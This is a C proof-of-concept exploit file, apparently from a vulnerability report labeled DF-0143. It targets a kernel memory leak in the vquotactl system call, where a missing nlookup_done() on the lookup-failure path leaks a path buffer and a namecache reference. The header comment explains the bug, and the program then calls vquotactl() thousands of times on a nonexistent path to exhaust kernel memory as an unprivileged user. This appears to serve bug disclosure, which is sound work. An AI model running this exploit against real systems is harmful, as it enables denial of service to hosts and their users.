DF-0143 / df0143_poc.c
/* * DF-0143 - nlookupdata leaked on nlookup failure (missing nlookup_done). * * sys/kern/vfs_quota.c sys_vquotactl(): * 351: error = nlookup_init(&nd, path, UIO_USERSPACE, 0); * 352: if (error) * 353: return (error); * 354: error = nlookup(&nd); * 355: if (error) * 356: return (error); <-- BUG: no nlookup_done(&nd) here * 357: nch = nd.nl_nch; * 358: cache_zero(&nd.nl_nch); * 359: nlookup_done(&nd); <-- only reached on SUCCESS * * On a nlookup() failure the function returns without nlookup_done(), leaking: * - nd.nl_path : a MAXPATHLEN (1024) byte buffer from the namei_oc * objcache (backed by M_NAMEI, vfs_init.c:207). * - nd.nl_nch : a namecache handle with a held reference * (cache_copy in nlookup_init, vfs_nlookup.c:150/160/171), * pinning a namecache node permanently. * * An unprivileged user controls `path` and can make nlookup fail repeatedly * (ENOENT on a nonexistent path) -> unbounded kernel memory growth (M_NAMEI + * namecache). DoS by memory exhaustion. * * Precondition (realistic, opt-in feature): vfs.quota_enabled=1 in * /boot/loader.conf + reboot. The copyin+prop_dictionary_copyin must SUCCEED * to reach line 351, so we build a valid prop dictionary via libprop (same * marshalling as sbin/vquota/vquota.c:send_command). * * Build: cc -o df0143_poc df0143_poc.c -lprop * Run: ./df0143_poc /tmp 20000 */ #include <sys/types.h> #include <sys/vfs_quota.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <libprop/proplib.h> /* Build a valid prop dict + plistref and call vquotactl(2). Returns the * kernel errno (0 on success). Mirrors sbin/vquota send_command(). */ static int vquota_cmd(const char *path, const char *cmd) { prop_dictionary_t dict, res = NULL; struct plistref pref; int error; dict = prop_dictionary_create(); if (dict == NULL) return ENOMEM; prop_dictionary_set_cstring(dict, "command", cmd); prop_dictionary_set(dict, "arguments", prop_array_create()); error = prop_dictionary_send_syscall(dict, &pref); if (error == 0) error = vquotactl(path, &pref); if (error == 0) prop_dictionary_recv_syscall(&pref, &res); prop_object_release(dict); if (res) prop_object_release(res); return error; } int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/tmp"; long iters = argc > 2 ? strtol(argv[2], NULL, 10) : 20000; char nonexistent[64]; long i; int lasterr = 0, ok = 0, fail = 0; /* A nonexistent path: nlookup_init succeeds (copies the string), nlookup() * fails with ENOENT -> triggers the leak at vfs_quota.c:355. */ snprintf(nonexistent, sizeof(nonexistent), "%s/df0143_does_not_exist_%d", path, (int)getpid()); printf("DF-0143: calling vquotactl('%s') x %ld (expect ENOENT each, " "leaking nl_path + namecache ref)\n", nonexistent, iters); for (i = 0; i < iters; i++) { errno = 0; lasterr = vquota_cmd(nonexistent, "get usage all"); if (lasterr == 0) ok++; else fail++; if ((i % 2000) == 0) { printf(" iter %ld: last rc=%d (%s)\n", i, lasterr, strerror(lasterr)); } } printf("done: %ld calls, %d rc=0, %d rc!=0 (last rc=%d %s)\n", iters, ok, fail, lasterr, strerror(lasterr)); printf("Check: vmstat -m | grep -i namei ; sysctl vfs.cache.numcache\n"); return 0; } |